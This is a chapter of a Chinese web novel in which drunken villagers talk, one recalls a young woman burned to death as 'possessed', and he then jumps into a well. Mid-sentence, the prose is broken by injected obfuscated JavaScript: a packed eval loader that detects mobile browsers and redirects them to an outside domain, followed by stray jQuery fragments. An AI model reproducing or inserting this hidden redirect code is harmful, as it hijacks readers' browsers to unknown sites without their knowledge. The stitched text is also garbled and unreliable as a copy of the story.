24.陈三狗!别跳!
作品:《精怪八点档》 “哎呦哎呦,这是咋了?”听到动静的老村长两口子跑过来看情况,老村长将陈三狗从地上扶了起来:“各位好好说话,沉铁你这小子怎能打自家兄弟呢?”
有了老村长他们介入,万沉铁瞬间回神,连忙跟着开口:“哎,瞧这,俺这不是急了吗?俺这弟弟说话没遮没拦的,谢郎君您没生气就好没生气就好。”
陈三狗确实是喝的有点多了,他被打了一巴掌,还打到了地上,但老村长将他扶到座上之后,却又像没事人一般,浑然不觉刚刚发生了什么:“唉,俺也知道俺是在胡言乱语,只是俺先前听了之后,总心里头痒痒,这今天见了你,可不得问一问吗?”
老村长将一大碗兔肉放桌子上,见他们没什么事情了,又拿过来几坛子酒,便拉着老伴进了屋里。
万沉铁听陈三狗这话一出,心里就气不打一处来,真的很想揪着这人的耳朵骂,他倒是心里头痒痒就这酒劲就问了,那在这里担惊受怕的可是自己。
他小心翼翼的借着喝酒的空隙瞄了眼谢裴绶,见谢裴绶只是哭笑不得的摇头喝酒,瞬间这心里的大石头就放下了,松了口气:“谢郎君,俺弟弟实在不是故意冒犯,这样,俺自罚三大碗!”
说着,他一边喝一边倒,三大碗酒瞬间下了肚。
第一坛酒就这么喝完了。
谢裴绶见此便说:“万大哥既然都自罚三大碗了,我再计较岂不是我小气了,这也并不是什么大事,都是在一个桌子上聊天喝酒,就不提什么冒不冒犯了。”
他嘴角含笑,脸上微微泛红,心中并没有在意刚才的冒犯,只觉得脑子好像开始有点飘飘然了,连带着说话也有些飘忽。
但好在,这酒并不是烈酒,一个人要喝这酒将自己喝的烂醉如泥意识全无那还是有些困难的,顶多也就是变得像陈三狗那样罢了。
他这般随和的语气倒真让万沉铁放下了心,又开心的招呼谢裴绶吃起了肉喝起了酒。
谢裴绶尝了一些,发现兔肉里没有腥膻味,倒是蕴含着一丝微弱的酒香,便知晓这村长是特意用了酒来去腥了。
一般村中老人罕见有这么处理的,看来村长年轻的时候确实应该是在城里待过不久。
除了酒香之外,这兔子肉尝起来除了盐味便就是其本身原滋原味的肉香了。
“真不愧是村长老爷子,连兔子都搞的这么好吃,俺们平日里想吃这兔子还得大老远跑过来求村长爷子做呢,今日谢兄弟可得赶紧多吃些!”
陈三狗已经完全没有了一开始那腼腆的模样,此时的他那真就是脑子里头想说什么就说什么,完全没有经过多余的思考。
“谢兄弟,你心里觉得妖魔鬼怪存在不存在?”陈三狗说:“我听了那么多的故事,有些事情确实一眼瞧着就是编的,可有些故事那真不像假的。”
“就譬如先前有户人家的女儿落水之后那是性情大变,跟之前那是二般模样。”
“嘴里说的话那是字字都听不明白,行为举止也是截然不同,这人俺当时可是亲眼见过嘞,她落水之前俺远远也瞧过一回。”
“后来她爹娘寻了个道士,讲是被孤魂野鬼附了身,说是作法,绑着用柳条抽打了许久,后来也是没用,讲是没法子救了,俺是想着若是得了离魂之症,好歹先请个大夫瞧瞧。”
“可见了大夫,也说没法子。”陈三狗眼睛直直的盯着谢裴绶问:“谢兄弟,你来告诉我,有甚法子可救?”
“……”谢裴绶也只得沉默以对。
陈三狗低头又说:“那道士讲,要让这孤魂野鬼觉着痛了,就自己离开了,可是怎么痛嘞,这不是折磨人么?”
万沉铁喝了一口酒,打了个嗝:“折磨人就折磨人呗,总归是人家的女儿,人家这是救女心切呢,总不至于让那孤魂野鬼占了身子活吧。”
陈三狗幽幽的说:“哥哥你不是说不信孤魂野鬼吗?”
“嘿,俺逆着你说不行,俺顺着你说也不成了?”
陈三狗狂灌了一口酒:“要是她没被孤魂野鬼附生呢?”
万沉铁就说了:“这世间哪里有不认得自己女儿的父母呢?谢郎君,你说是不是?”
谢裴绶缓缓眨着眼睛,手里端着酒,慢半拍才应声:“嗯……”
陈三狗烦躁的摇了摇头,咬牙切齿的大声说:“俺不是这个意思!”
万沉铁:“那你是啷个意思嘛?”
“万哥,你觉得孤魂野鬼应该是什么眼神?”陈三狗盯着他,声音发颤。
万沉铁被盯的一激灵:“俺俺可没见过孤魂野鬼,俺咋知道嘞?”
“那不像孤魂野鬼啊,万哥,她不像啊!”陈三狗盯着万沉铁突然眼睛里就涌出来了泪花:“孤魂野鬼,孤魂野鬼应该是坏的是不是万哥,她不像啊万哥!”
或许是酒真的喝太多了,又或许是太过压抑,又或许是日头终于落下了山,阳光终于消失,又或许是今天的风太小了,温度太热了……
总之陈三狗时隔四年,又想起了这桩深埋在他心里的离奇惨案。
那时候别人不叫他陈三狗。
那时候他还是私塾里的魁首,是教书先生最满意的学生,是家中最骄傲最争气的读书人。
那时候,他和万沉铁也只是关系普通的远房亲戚,如无意外,像他这样的读书人这辈子都不可能和万沉铁这样的村夫有什么更进一步的关系了。
那时候他只有一个目标,那就是读书考试,争个功名。
事情发生在他外出游学的时候,那是一个鸟语花香的江南小镇,镇上那位有名的书香世家的秦小姐外出游玩,他途径此处,与她擦肩。
这位小姐脸如白玉,颜若朝华,发上簪着玉珠,戴着红花,脖子上戴着一串金玉镶的璎珞,手持山水团扇,行走间娉娉婷婷,步步生花。
当时他只赞叹一句窈窕淑女,便不在意。
第二日,他在客栈吃饭,突然听到旁边那桌有人议论秦小姐的事情,便偷听了一耳朵,说是昨日秦小姐不慎落水,被救上来之后变的行为反常,言谈怪异,现在已经在找大夫医治。
当时他听了也没在意。
他携带的干粮已经吃完了,马匹也得休息,他只打算在那镇中待三日。
第三日上午,他牵着马背着包袱打算走了,突然对面街上沸沸扬扬,好似是在找人,他闻声望去,正巧发现旁边小巷子里正躲着个女子。
他正要出声,那女子这时转过头来也发现了他,他们对视上,他看到她眼里满是恳求,似乎在祈求他帮她一把。
而这女子正是他前日见过一面的秦小姐。
秦小姐此时穿着一身短打男装,头发也胡乱扎了起来,只是她似乎不晓得怎么绑鞋子,鞋子和裤腿都没有绑起来。
他皱眉走上去:“秦小姐为何逃家?”
秦小姐停顿了一下,歪头似乎在仔细思考他在说什么,良久才反应过来,用一种怪异的语调说:“帮帮我,带我走,好吗?”
这语调像是外地人的口音,总之不像是这里土生土长的人,而且她看起来也跟之前完全不一样了。
世家闺秀总不至于是这样什么也不在乎,行为如此出格的人。
“带你走?”他不解:“去哪里?”
秦小姐说:“湖。”
当时街上都是在找秦小姐的人,他为了帮她带着她东躲西藏,却也逃不过众多人的眼睛,最终还是被发现了。
本来他想着被发现也就被发现了,秦小姐回家去了也好,可是当他看到她的眼神是那样仓惶畏惧,就莫名的不想让她就这样被带回去。
于是他拉着她奋力往湖那边跑,他并不知道她要做什么,他也不知道此时的秦小姐到底还是不是之前那个秦小姐。
他们跑到了湖边,来抓秦小姐的人也将他们围了一圈,外面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617328|171306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更是站了一大堆看热闹的人.
他挡在秦小姐的面前,秦小姐站在他的身后。
突然,周围的人都哗然大喊,眼前所有人的脸色都大变了个样,他回头一看,发现秦小姐不知为何又掉进水里了。
他脑中一片空白,周围是一个接一个争先恐后往水里跳,企图救下秦小姐的男人。
当时似乎有其他人控制住了自己的手脚,他也跟着跳了下去,发狠的将游在前面的人一个个拽下去,将游在后头的人一个个踹走。
他脑中只有一个想法,绝对不能让其他人碰到秦小姐。
当他回过神来,秦小姐已经被他救了上来,秦府的人也喊了丫鬟婆子过来将秦小姐抱进马车,至于他自己,则被勃然大怒的秦老爷关进了柴房里。
因为没有换下打湿的衣服,他很快就发烧了,开始还只是低烧。
他趁着有人来给他送饭的时候打听秦小姐的事情,知道昨日里晚上来了一个道士,说秦小姐是被孤魂野鬼俯身了,今日道士就要开坛施法,要用柳条鞭打将这孤魂野鬼抽打出去。
晚上他又打听到,秦小姐经历了一番鞭打,还是没有“病好”,道士打算用别的法子。
就这样过了几日,他烧的越发严重,秦府没给他治病,他仍然每日里坚持打听秦小姐的近况,知晓秦小姐受了很多折磨,也知晓那日秦小姐为什么要逃了。
后来不知过了多久,他烧好了,来人送饭的时候,送饭的说今日那道士打算用火刑,已经将小姐绑在院子里,待会就要施刑了。
他察觉到不好,便趁他们不备冲出了柴房,一路上他只想着快些、再快些,可还是慢了,冲天的火焰在院子里烧起来。
他想扑上去灭火,可他很快就被抓起来了,周围的人并不多,只有秦府的老爷夫人和那个道士。
秦小姐在火焰里痛苦的哀嚎,秦老爷和秦夫人以泪洗面抱在一起,时不时的用充满希冀的语气问那道士可以了吗?到时间了吗?那孤魂野鬼被烧走了吗?
他嘴巴被堵着开不了口,只能眼睁睁看着自己离秦小姐越来越远,直到被拖回柴房里。
后来,秦夫人忍不下去让人将火浇灭了,可秦小姐已经奄奄一息,虽然没死,可浑身上下已经没有一片完好的皮肤了。
秦小姐度过了生不如死的三天,在她被火烧的第四天夜里死了。
当天,秦府将他放了出去。
那道士最终被官府抓住,判秋后问斩。
陈三狗突然埋头大哭,一边哭一边嚎:“是我错了,是我错了,可是万哥她不像啊!不像!万哥她真的不像啊!”
万沉铁不知这小子突然又抽什么疯,只得敷衍的安慰,一边安慰着还一边怕冷落了谢郎君。
就是跟这位谢郎君搭了几次话之后,万沉铁意识到,谢郎君兴许是已经醉了。
谢郎君虽然已经醉了,但面上却也看不太出来,他坐得直挺挺的,端酒夹肉的时候手也丝毫不抖,只是脸面微微泛红,不主动说话,回答的时候会停顿一阵子。
渐渐的,陈三狗的嚎叫声也歇止了,他趴在桌子上,小声说:“那井下头既然不像是神仙住的,那是住着什么人呢?”
万沉铁没听清楚,凑过去让他再说一遍,等听清了,他随意讲道:“说不准啊,下面是阴曹地府呢!”
眼瞅着碗里的肉已经吃完了,旁边这两个酒量差的也都醉了,万沉铁看看天色,便打算先扶谢郎君进屋睡觉,哪知他刚将谢郎君扶起来,旁边那陈三狗却跳起来就往外跑。
“哎陈三狗!你干啥去?你回来!”万沉铁怕他醉酒出事,不得已之下只得先放下谢郎君追了出去。
“陈三狗!别跳!”万沉铁追了一阵,就见陈三狗直愣愣的狂奔到井口极为顺滑的就一头扎了进去!
而就在万沉铁傻在原地的下一秒,身后又忽然飘过来一个人也跟着扎进去了。